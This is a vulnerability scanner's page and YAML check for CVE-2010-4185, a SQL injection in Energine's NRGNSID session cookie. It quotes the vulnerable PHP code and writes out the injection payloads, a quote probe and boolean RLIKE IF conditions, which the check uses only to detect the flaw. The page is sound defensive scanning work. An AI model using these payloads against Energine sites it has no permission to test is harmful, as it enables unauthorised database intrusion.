Energine — 1 vulnerability check

noctis ships 1 vulnerability check for Energine, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.

← All products · Feeds on GitHub

Energine NRGNSID Cookie SQL Injection

CVECVE-2010-4185
Severityhigh · CVSS 7.5
Categorysqli — SQL injection
Serviceshttp, https
Detectionscript, set_var, http_request, match · highest QoD 97
Feedtests/vulnerabilities/energine/CVE-2010-4185.yaml

Energine 2.3.8 and earlier copies the NRGNSID session cookie, unescaped, into a quoted string of the SQL query that deletes an expired session, allowing unauthenticated SQL injection through any page.

This check first sends a session cookie ending in a single quote and confirms the page reports Energine's ERR_DATABASE_ERROR, while the same cookie with a doubled quote does not. It then proves the injection with three boolean requests whose outcome depends on the database computing the difference of two random numbers: a wrong result must raise the database error, the right one must not. The injected condition targets a random session id that does not exist, so no row is deleted and no data is read.

How noctis detects it

  1. Parses / computes the next value with a Rhai script
  2. HTTP(S) request GET {{edir}}/
  3. HTTP(S) request GET {{edir}}/
  4. Parses / computes the next value with a Rhai script
  5. HTTP(S) request GET {{edir}}/
  6. HTTP(S) request GET {{edir}}/
  7. HTTP(S) request GET {{edir}}/
  8. Parses / computes the next value with a Rhai script
  9. Checks bp.found for ^BOOL$ → finding QoD 97: Boolean SQLi confirmed on …/: cookie NRGNSID=…' AND 1 RLIKE IF(…-…=S,1,0x28) AND 'x'='x raised ERR_DATABASE_ERROR for S=… and S=… but not f…
  10. Checks qm.found for ^QUOTE$ → finding QoD 75: SQL injection: cookie NRGNSID=…' on …/ made Energine report ERR_DATABASE_ERROR, while the control NRGNSID=…'' (valid SQL) did not (HTTP … /…

References:

Feed source — tests/vulnerabilities/energine/CVE-2010-4185.yaml
# Energine <= 2.3.8 — NRGNSID session cookie SQL injection (CVE-2010-4185)
#
# UserSession::__construct() (core/kernel/UserSession.class.php, Energine 2.3.x)
# looks the NRGNSID cookie up with a properly quoted SELECT, and when no live
# session matches it deletes the stale one with the raw cookie value:
#   $this->dbh->modify(QAL::DELETE, $this->tableName, null,
#                      "session_native_id = '{$this->phpSessId}'");
# i.e. DELETE FROM `share_session` WHERE session_native_id = '<cookie>'.
# A failed query throws SystemException('ERR_DATABASE_ERROR', ERR_DB) from
# index.php's try block; error_page.xslt prints that message as the page title
# on every site (the SQL text and MySQL error only in site.debug mode). The fix
# (2.6 branch) passes an array condition, which QAL quotes.
#
# Source NASL (2010/gb_energine_cookie_sql_inj_vuln.nasl) gates on
# "Powered by.*>Energine<" on /energine, /energine/htdocs (+ cgi dirs), sends
# `Cookie: NRGNSID='` and requires ERR_DATABASE_ERROR plus "DELETE.*FROM.*WHERE"
# in the reply. That second marker is only printed in debug mode, so the NASL
# misses production sites. This feed goes further:
#   1. QoD 97 — boolean proof computed by the database: with the quote check
#      positive, `<id>' AND 1 RLIKE IF(A-B=S,1,0x28) AND 'x'='x` is sent three
#      times (S wrong, right, wrong; random A > B). A wrong difference makes
#      RLIKE compile the invalid regex "(" and the DELETE fails before it reads a
#      row; the right one is valid SQL that matches no row (random session id).
#      Error / no error / error proves the database evaluated our arithmetic.
#      "-" not "+": PHP < 7.4.5 decodes "+" in cookies as a space.
#   2. QoD 75 — the NASL's quote check (ERR_DATABASE_ERROR title, debug SQL text
#      not required), plus a control `<id>''` (doubled quote = valid SQL) that
#      must NOT error: a site that always shows the error page stays clean.
# No footer gate (custom templates drop it): ERR_DATABASE_ERROR only on the
# quote request is the product signal. The probe also tries the web root.
#
# Write-free: the injected DELETE either fails at prepare time or matches no
# row (random, never-issued session id). On the valid requests the app creates
# a fresh session row for the new id, as it does for any first visit.
#
# Source: OpenVAS/Greenbone NASL 2010/gb_energine_cookie_sql_inj_vuln.nasl
#   (OID 1.3.6.1.4.1.25623.1.0.801643, GPL-2.0-only)
uid: 05cbe365-88bb-4600-8b2a-765b879aa93f
name: "Energine NRGNSID Cookie SQL Injection (CVE-2010-4185)"
description: |
  Energine 2.3.8 and earlier copies the NRGNSID session cookie, unescaped, into
  a quoted string of the SQL query that deletes an expired session, allowing
  unauthenticated SQL injection through any page.

  This check first sends a session cookie ending in a single quote and confirms
  the page reports Energine's ERR_DATABASE_ERROR, while the same cookie with a
  doubled quote does not. It then proves the injection with three boolean
  requests whose outcome depends on the database computing the difference of
  two random numbers: a wrong result must raise the database error, the right
  one must not. The injected condition targets a random session id that does
  not exist, so no row is deleted and no data is read.
cves: [CVE-2010-4185]
cvss: 7.5
severity: high
confidence_base: 0.30
category: sqli
tags: [energine, cookie, sqli, boolean-based]
services: [http, https]
author: noctis
version: "1.0.0"
references:
  - "https://nvd.nist.gov/vuln/detail/CVE-2010-4185"
  - "https://www.securityfocus.com/bid/44366"
  - "https://github.com/energine-cmf/energine"

steps:
  # ── Random session id and operands ────────────────────────────────────────
  - id: gen-operands
    action: script
    code: |
      let b = rand_int(100000, 499999);
      let a = b + rand_int(100000, 499999);
      #{ sid: "noctis" + rand_hex(8), a: a, b: b, diff: a - b,
         bad1: a - b + rand_int(1, 9), bad2: a - b - rand_int(1, 9) }
    store_as: sc

  # ── Per candidate Energine base path (loop group) ─────────────────────────
  # Pre-initialise every stored result a script reads: a failed request leaves
  # store_as unset and an undefined var would abort the whole test.
  - id: init-qm-resp
    action: set_var
    var_name: qm_resp
    var_value: {status: 0, body: null}
    loop:
      over: ["", "/energine", "/energine/htdocs"]
      var: edir

  - id: init-ctl-resp
    action: set_var
    var_name: ctl_resp
    var_value: {status: 0, body: null}

  - id: init-f1-resp
    action: set_var
    var_name: f1_resp
    var_value: {status: 0, body: null}

  - id: init-t-resp
    action: set_var
    var_name: t_resp
    var_value: {status: 0, body: null}

  - id: init-f2-resp
    action: set_var
    var_name: f2_resp
    var_value: {status: 0, body: null}

  # ── Stage 1: quote breaks the DELETE, doubled quote does not ──────────────
  - id: qm-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{edir}}/"
    headers:
      Cookie: "NRGNSID={{sc.sid}}%27"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: qm_resp

  - id: ctl-probe
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{edir}}/"
    headers:
      Cookie: "NRGNSID={{sc.sid}}%27%27"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: ctl_resp

  - id: check-qm
    action: script
    code: |
      let body = if type_of(qm_resp.body) == "string" { qm_resp.body } else { "" };
      let cbody = if type_of(ctl_resp.body) == "string" { ctl_resp.body } else { "" };
      let hit = body.contains("ERR_DATABASE_ERROR") && ctl_resp.status != 0
        && !cbody.contains("ERR_DATABASE_ERROR");
      #{ hit: hit, found: if hit { "QUOTE" } else { "" } }
    store_as: qm

  # ── Stage 2: boolean proof — the database must compute A-B ────────────────
  - id: bool-false-1
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{edir}}/"
    headers:
      Cookie: "NRGNSID={{sc.sid}}%27%20AND%201%20RLIKE%20IF({{sc.a}}-{{sc.b}}%3D{{sc.bad1}}%2C1%2C0x28)%20AND%20%27x%27%3D%27x"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f1_resp

  - id: bool-true
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{edir}}/"
    headers:
      Cookie: "NRGNSID={{sc.sid}}%27%20AND%201%20RLIKE%20IF({{sc.a}}-{{sc.b}}%3D{{sc.diff}}%2C1%2C0x28)%20AND%20%27x%27%3D%27x"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: t_resp

  - id: bool-false-2
    action: http_request
    method: GET
    port: "{{port}}"
    path: "{{edir}}/"
    headers:
      Cookie: "NRGNSID={{sc.sid}}%27%20AND%201%20RLIKE%20IF({{sc.a}}-{{sc.b}}%3D{{sc.bad2}}%2C1%2C0x28)%20AND%20%27x%27%3D%27x"
    condition: "qm.hit"
    tls_insecure: true
    follow_redirects: false
    timeout_secs: 15
    store_as: f2_resp

  - id: check-bool
    action: script
    code: |
      let b1 = if type_of(f1_resp.body) == "string" { f1_resp.body } else { "" };
      let bt = if type_of(t_resp.body) == "string" { t_resp.body } else { "" };
      let b2 = if type_of(f2_resp.body) == "string" { f2_resp.body } else { "" };
      let ok = qm.hit && t_resp.status != 0 && b1.contains("ERR_DATABASE_ERROR")
        && !bt.contains("ERR_DATABASE_ERROR") && b2.contains("ERR_DATABASE_ERROR");
      #{ ok: ok, found: if ok { "BOOL" } else { "" } }
    store_as: bp

  - id: report-bool
    action: match
    source: bp.found
    pattern: "^BOOL$"
    condition: "bp.ok"
    on_match:
      finding:
        confidence_delta: 0.65
        qod: 97
        evidence: "Boolean SQLi confirmed on {{edir}}/: cookie NRGNSID={{sc.sid}}' AND 1 RLIKE IF({{sc.a}}-{{sc.b}}=S,1,0x28) AND 'x'='x raised ERR_DATABASE_ERROR for S={{sc.bad1}} and S={{sc.bad2}} but not for the correct difference S={{sc.diff}} (HTTP {{f1_resp.status}} / {{t_resp.status}} / {{f2_resp.status}})"
      stop: true

  - id: report-qm
    action: match
    source: qm.found
    pattern: "^QUOTE$"
    condition: "qm.hit"
    on_match:
      finding:
        confidence_delta: 0.50
        qod: 75
        evidence: "SQL injection: cookie NRGNSID={{sc.sid}}' on {{edir}}/ made Energine report ERR_DATABASE_ERROR, while the control NRGNSID={{sc.sid}}'' (valid SQL) did not (HTTP {{qm_resp.status}} / {{ctl_resp.status}})"
      stop: true

View these feeds on GitHub